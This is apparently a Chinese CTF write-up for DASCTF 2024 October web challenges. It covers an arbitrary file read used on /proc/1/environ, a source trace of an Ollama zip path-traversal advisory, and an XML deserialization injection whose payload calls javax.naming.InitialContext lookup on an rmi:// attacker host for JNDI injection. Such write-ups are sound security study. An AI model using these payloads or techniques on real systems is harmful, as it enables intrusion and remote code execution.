前言
web剩下3题全场零解,7小时真能做吗哥
官方wp:https://www.yuque.com/chuangfeimeiyigeren/eeii37/xn0zhgp85tgoafrz?singleDoc#
https://zer0peach.github.io/2024/10/24/DASCTF-2024%E9%87%91%E7%A7%8B%E5%8D%81%E6%9C%88/
CHECKIN
f12获取DASCTF{2024.10.19.DASCTF10.Welc0me.T0}
flow
进去发现是个任意文件读取
/proc/self/cmdline:python3 /app/main.py
/app/main.py:
from flask import Flask, request, render_template_string, abort
app = Flask(__name__)
HOME_PAGE_HTML = '''
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Flask Web Application</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<h1 class="display-4 text-center">Welcome to My Flask App</h1>
<p class="lead text-center">This is a simple web app using Flask.</p>
<div class="text-center">
<a href="/file?f=example.txt" class="btn btn-primary">Read example.txt</a>
</div>
</div>
</body>
</html>
'''
@app.route('/')
def index():
return render_template_string(HOME_PAGE_HTML)
@app.route('/file')
def file():
file_name = request.args.get('f')
if not file_name:
return "Error: No file parameter provided.", 400
try:
with open(file_name, 'r') as file:
content = file.read()
return content
except FileNotFoundError:
return abort(404, description="File not found.")
except Exception as e:
return f"Error reading file.", 500
if __name__ == '__main__':
app.run(host="127.0.0.1", port=8080)
任意文件读取就没了?
/proc/1/environ 秒了
ollama4shell(Unsolved)
https://github.com/advisories/GHSA-846m-99qv-67mg
跟一下漏洞代码的调用链
https://github.com/ollama/ollama/blob/main/server/routes.go#L1134
r.POST("/api/create", s.CreateHandler)
https://github.com/ollama/ollama/blob/main/server/routes.go#L620
if err := CreateModel(ctx, name, filepath.Dir(r.Path), strings.ToUpper(quantization), f, fn); errors.Is(err, errBadTemplate) {
ch <- gin.H{"error": err.Error(), "status": http.StatusBadRequest}
}
https://github.com/ollama/ollama/blob/main/server/images.go#L421
func CreateModel(ctx context.Context, name model.Name, modelFileDir, quantization string, modelfile *parser.File, fn func(resp api.ProgressResponse)) (err error) {
...
else if file, err := os.Open(realpath(modelFileDir, c.Args)); err == nil {
defer file.Close()
baseLayers, err = parseFromFile(ctx, command, baseLayers, file, "", fn)
if err != nil {
return err
}
}
https://github.com/ollama/ollama/blob/123a722a6f541e300bc8e34297ac378ebe23f527/server/model.go#L220
func parseFromFile(ctx context.Context, file *os.File, digest string, fn func(api.ProgressResponse)) (layers []*layerGGML, err error) {
sr := io.NewSectionReader(file, 0, 512)
contentType, err := detectContentType(sr)
if err != nil {
return nil, err
}
switch contentType {
case "gguf", "ggla":
// noop
case "application/zip":
return parseFromZipFile(ctx, file, digest, fn)
https://github.com/ollama/ollama/blob/123a722a6f541e300bc8e34297ac378ebe23f527/server/model.go#L140
func parseFromZipFile(_ context.Context, file *os.File, digest string, fn func(api.ProgressResponse)) (layers []*layerGGML, err error) {
...
if err := extractFromZipFile(tempDir, file, fn); err != nil {
return nil, err
}
https://github.com/ollama/ollama/blob/123a722a6f541e300bc8e34297ac378ebe23f527/server/model.go#L81
func extractFromZipFile(p string, file *os.File, fn func(api.ProgressResponse)) error {
stat, err := file.Stat()
if err != nil {
return err
}
r, err := zip.NewReader(file, stat.Size())
if err != nil {
return err
}
fn(api.ProgressResponse{Status: "unpacking model metadata"})
for _, f := range r.File {
n := filepath.Join(p, f.Name)
if !strings.HasPrefix(n, p) {
slog.Warn("skipped extracting file outside of context", "name", f.Name)
continue
}
if err := os.MkdirAll(filepath.Dir(n), 0o750); err != nil {
return err
}
// TODO(mxyng): this should not write out all files to disk
outfile, err := os.Create(n)
if err != nil {
return err
}
defer outfile.Close()
infile, err := f.Open()
if err != nil {
return err
}
defer infile.Close()
if _, err = io.Copy(outfile, infile); err != nil {
return err
}
if err := outfile.Close(); err != nil {
return err
}
if err := infile.Close(); err != nil {
return err
}
}
return nil
}
翻api文档:https://github.com/ollama/ollama/blob/main/docs/api.md
先拉个镜像下来
ezlogin(Unsolved)
https://www.cnblogs.com/hetianlab/p/17184614.html
// LoginController
@ResponseBody
public String login(@RequestParam String username, @RequestParam String password, HttpSession session) {
try {
User user = UserUtil.login(username, password);
if (user != null) {
session.setAttribute("loggedInUser", user);
return "{\"redirect\": \"/home\"}";
} else {
return "{\"message\": \"login fail!\"}";
}
} catch (Exception var5) {
return "{\"message\": \"error!\"}";
}
}
// auth/UserUtil
public static User login(String username, String password) throws Exception {
File userFile = new File(USER_DIR, username + ".xml");
if (!userFile.exists()) {
return null;
} else {
User user = readUser(userFile);
if (user != null && user.getPassword().equals(password)) {
login_in = true;
return user;
} else {
return null;
}
}
}
private static User readUser(File userFile) throws Exception {
String content = FileUtil.readString(userFile, "UTF-8");
int length = content.length();
if (checkSyntax(userFile) && !content.contains("java.") && !content.contains("springframework.") && !content.contains("hutool.") && length <= maxLength) {
return (User)XmlUtil.readObjectFromXml(userFile);
} else {
System.out.printf("Unusual File Detected : %s\n", userFile.getName());
return null;
}
}
目的明确,构造恶意xml在 readObjectFromXml
打反序列化,过滤了 java.
、 springframework.
、hutool.
,不能直接RCE,注意到有 jackson 库,可以打 jndi 注入触发 jackson 链子
生成xml的地方在这里
public static String register(String username, String password) throws Exception {
File userFile = new File(USER_DIR, username + ".xml");
if (userFile.exists()) {
return "User already exists!";
} else {
String template = "<java>\n <object class=\"org.example.auth.User\">\n <void property=\"username\">\n <string>{0}</string>\n </void>\n <void property=\"password\">\n <string>{1}</string>\n </void>\n </object>\n</java>";
String xmlContent = MessageFormat.format(template, username, password);
FileUtil.writeString(xmlContent, userFile, "UTF-8");
return "Register successful!";
}
}
那么闭合标签在password进行构造,发现有限制长度
public static boolean check(String username, String password) {
String usernameRe = "^[\\x20-\\x7E]{1,6}$";
String passwordRe = "^[\\x20-\\x7E]{3,10}$";
return username.matches(usernameRe) && password.matches(passwordRe);
}
我们要构造的payload:
<java>
<object class="javax.naming.InitialContext">
<void method="lookup">
<string>rmi://ip:port/a</string>
</void>
</object>
</java>
这就是这题的关键了,把想要替换的内容通过登录生成JSESSIONID
,然后收集这些session
最后利用那些session对同一个文件进行替换